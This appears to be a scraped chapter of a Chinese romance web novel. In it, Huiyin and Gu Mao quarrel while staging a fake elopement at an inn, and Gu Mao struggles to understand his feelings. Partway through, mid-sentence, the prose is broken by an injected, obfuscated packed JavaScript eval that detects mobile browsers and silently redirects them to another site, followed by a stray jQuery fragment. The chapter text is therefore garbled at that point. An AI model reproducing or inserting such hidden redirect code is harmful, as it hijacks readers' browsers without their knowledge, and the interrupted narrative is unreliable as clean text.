默认冷灰
24号文字
方正启体

46. 蹙眉

作者:堇十五本书字数:K更新时间:
    徽音才下去的冷汗又冒了出来。淅淅沥沥地,浇白了她的脸。


    见她状态不对,顾懋也走了过去察看。只是还没靠近窗沿,便被她一把子带去了旁边的墙上。


    很突然,也很迅速。


    等顾懋反应过来时,他的手已虚虚地圈在了徽音外头。


    像是给人拥住了。


    温热爬上他胳膊,酥酥的,麻麻的。不是他的,是隔了薄薄衣衫及浅浅距离,从他胸前那个紧贴着他的姑娘身上爬过来的。


    觉得太温情,顾懋垂了手,想避开。


    然而刚一侧,又被跟前人给按住了。


    “嘘,别动!”


    徽音疾声,手也来捂他的嘴。


    可惜她个矮,得踮脚。于是踮着踮着,两人离得又更近了。


    顾懋偏了头,脸上蹿着她的呼吸,感觉方才还在胳膊上的温热此时又酥酥麻麻地爬了过来,痒得他难耐。


    然而罪魁祸首却毫无所觉。


    现下的徽音已完全警惕成了个探头小猫。整个人都紧绷着。微微地,悄悄地,她将身子往窗子边挪了一点,又一点点。


    然后瞥出眼,瞄去窗外。


    顾懋也跟着撇过去。


    可是他却只能注意到那两条斜印在窗台上的影。交叠着,紧黏着,像是中间缠了桂花蜜,怎么撕也撕不开。


    而他也真闻到了桂花香,很淡,很甜,团在他下巴底下,黏着不肯走。


    似乎因着眼里鼻子里都是这桂花蜜,都染了这黏腻,顾懋觉得他身上好像也黏了起来,甚至连心里,也是。


    黏得他发毛。


    黏得他发慌。


    终于,他再待不住,伸出手,强硬地将胸前的人给移开了。


    徽音不解:“怎么了?”


    顾懋答:“离太近了。”


    “可下面有人在盯着。”


    “有人盯着也离太近了。”


    这下徽音的眉头蹙起了。


    什么意思?


    他这是在嫌弃她靠得近?


    他以为她想离他靠得近?


    可不靠得近又如何能让下面的相信她们要私奔?况且不是他问的“他能信”么,她这不就在努力做出亲近,让那探子信?


    还是说,徽音眉头拧得更紧,打从一开始顾懋就不愿随了她的计划走?


    她眸子垂下,将过去半个时辰里的事仔仔细细地想了个遍。


    是了,他定是不愿的!


    自从她说了自己“私奔”的计划后,这人就一直冷着脸。她还当是夜里凉,他冻着了。可进了这暖烘烘的客店他也这样!不是闭目养神不愿搭理她,就是搭理了也还这样冷言冷语。


    只是,他有啥可不愿的?


    她一姑娘都不在乎名声了,他还在乎这些?


    况且他不是在乎权吗,那拿了账本剿了私盐对他来说不才是最重要的,还是说……


    徽音突地冷下了脸。


    还是说他真就这么讨厌她?讨厌到连他最在乎的权都不在乎了?讨厌到连名字与她搭一处儿他都难受?


    既是这样的话,那他一早就该说啊!她又没逼着他来如她愿,来如她计划。


    现在好了,他不愿又不说,愿了又不负责,卡在这关键时候打退堂鼓,弄得她上也不是下也不是。


    她都按计划把话给那探子都说了!


    要真因着他这不作为让雁回和林慎都出了事,她往后定不要他好过!


    徽音气极,圆眼睛狠狠地瞪住顾懋,气呼呼地道:“你要真的这般嫌恶我,那就该早些与我说!”


    顾懋也生了些邪火,顶回去:“我何时就嫌恶你了!”嫌恶她还能让她上了他的车?


    而这不提还好,一提又让他想起了半个时辰前在矮坡那边受的气。


    他是发现了,此人最爱倒打一耙!


    先前还没散的闷气加上这次不知因了什么而生的气,两相一撞,直接撞出了顾懋更大的火,于是他说话便也没再客气。


    “我知苏娘子你惯爱耍滑,也必然吃了许多耍滑带来的甜头。可你要知道,这甜头不会一直都甜。”


    “就如这次,你之所以会设计这所谓的与我‘私奔’的计,我知道,你一是信不过我;二是担心你弟弟;这第三也是最重要的,你想拖住我,好让我的人保你弟弟和你二舅平安。”


    “是,我承认,你这计划确实可行,也因着这个,我没拒绝与你联手。但没拒绝不代表同意——”


    他顿了下,没把方才两人略显亲近的举动给点出来,直接略了去,继续道。


    “我是男子,名声好坏于我无关痛痒,只要是我心之所向,我也可去做了那梅妻鹤子的事,但你身为女子——”


    说到这,他又顿住了,似觉刚才的那番话有些不大对,又补了下:“当然,我不是说女子不可为了自己的心之所向去学那林逋,我的意思是这世间对女子的约束总是要多一些的。”


    就如他.母亲,明明是他气死他的父亲,但被唾沫淹死的却是他.母亲。


    想起这些,顾懋生出的难受又盖住了他的火气,给自己倒了杯茶灌下,他这才又看向了徽音,语重心长道。


    “不久后苏娘子便要与卫勋成亲了,眼下实不该再做出这举动。虽说你我都知是做戏,但是……”


    顾懋第三次顿住了。


    不是要略话,也不是要找补,是他发现自己根本说不下去了。


    就很突然地,他发现,他说的这些其实都是冠冕堂皇的假话。


    如果他真这么担心徽音名声的话,那从一开始就该拒了这计划。


    毕竟在传出徽音与他“私奔”消息的那一刻起,徽音的名声就已经受损了,而不是等到此刻需要亲近做戏了他才来担心,等到此刻需要亲近做戏了他才来推开。


    那么,他又为什么会到了现在才推开——


    顾懋屏住神,抬了眼去看徽音。


    身边的人远山眉紧蹙,西施目圆睁。


    也不知是不是真给气狠了,眼底浮出了淡淡的胭脂红,里头还浅浅地飘着一层薄雾。


    与在云福客栈他第一次见着她时的模样,大差不差。


    可是他的心境,却好似不同了许多。


    虽说都是生出了些烦,但第一次见着时,他能明确自己是厌烦,而此时此刻的烦,具体是因为什么,他摸不清楚。


    就像他为何要推开她,以及他又为何生了那些无名火,他也没摸明白。


    顾懋第一次遇上这样棘手的难题。


    这种情绪上的不清楚,不明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353297|199653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白,完全不像了他查案。


    查案困住了,他可再去寻线索,再去看卷宗,再去审嫌犯……总能寻出办法解决。


    可这情绪困住了,好似就真困住了,他只能慢慢地等冰化,等泥通。


    就如他父母死后的那一年,就如他从虎房出来的那三月……总之,只能等着。


    顾懋的这一次停顿,停了许久许久。久到茶杯里的水变凉,久到徽音的气都快消没了。外加现又被顾懋这样盯着——


    不说话,就只拿一双黑眸紧紧地凝着你,似有思绪万千,又似有话语万千。


    所以,有这么多话想说为何他就偏停了!


    徽音又一次没忍住,问:“但是什么?”


    顾懋自己都没理清的事哪里会与人说,于是接上了之前的冠冕堂皇:“但是若卫勋误会了,说不定要与你退婚。”


    没想却听了对面人坦然:“那就退好了。”


    顾懋:?


    他实在是不懂这些小娘子的心思。


    他瞧着她不是挺在意那个卫勋么,还在宁王府的元宵宴上特地戴了他送的白玉簪,显露人前。


    怎么现在又表现得这般不在意?


    莫非是口是心非?


    顾懋又去瞟了眼徽音。


    想着当是了。毕竟六公主那丫头也爱这样,明明那般在意那崔家的小郎君,偏每次遇上了又爱说反话惹了人跳脚。


    也不知是想起了崔家小郎君气急败坏的模样好笑,还是因着旁的松快了心情。他唇角微微勾了一下。


    很浅很快的一下,就如雨落进水,要寻已寻不见。可徽音就是从他的眼睛里瞧出他笑了,于是问。


    “你笑什么?”


    “笑你头发上的桂花油抹多了。”


    多么?


    徽音微窘,伸了指头从头上沾了来闻。


    好像确实有些浓,真的抹多了?


    但她已没了自己的判断,又去问常度:“我真的抹多啦?”


    常度想说没有,宫里好多宫女头上的比她这个香多了。但他向来唯顾懋是瞻,不会否了他,于是解释:“主子的鼻子比我们的灵,他说多了,可我觉得正正好。”


    然而这并不能宽慰徽音。


    她只要想到她顶着这样一颗香喷喷的头在顾懋的身边转悠了好半天,她心里就有些不舒坦。


    她幽怨:“那还不是你说要引人,这才又多抹的!”


    结果那点了这档子事的人又来假好心:“这又没什么。”


    徽音瞪他:“没什么你还说!”


    顾懋摸了下鼻:“那……我不也是刚想起,这桂花油可能是卫勋送你的聘。你既然随身带着,不就是想多抹么。”


    徽音没听出来这里边语气有什么不对,只顾着纠错了:“可这不是卫郎君给的。”


    “那是谁?”


    “就我葇表姐啊。”


    顾懋想了下:“就在延善寺里头手上绑了黄带子的那个?”


    徽音点点头。


    顾懋没再问了,转身坐到了木椅上,一会儿倒一杯水,一会儿挑一下烛芯,瞧着心情颇不错。


    也确实是不错,毕竟都能发现自个儿肚饿了。


    招着手,叫来了常度,让其去楼下叫小二送些吃食上来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)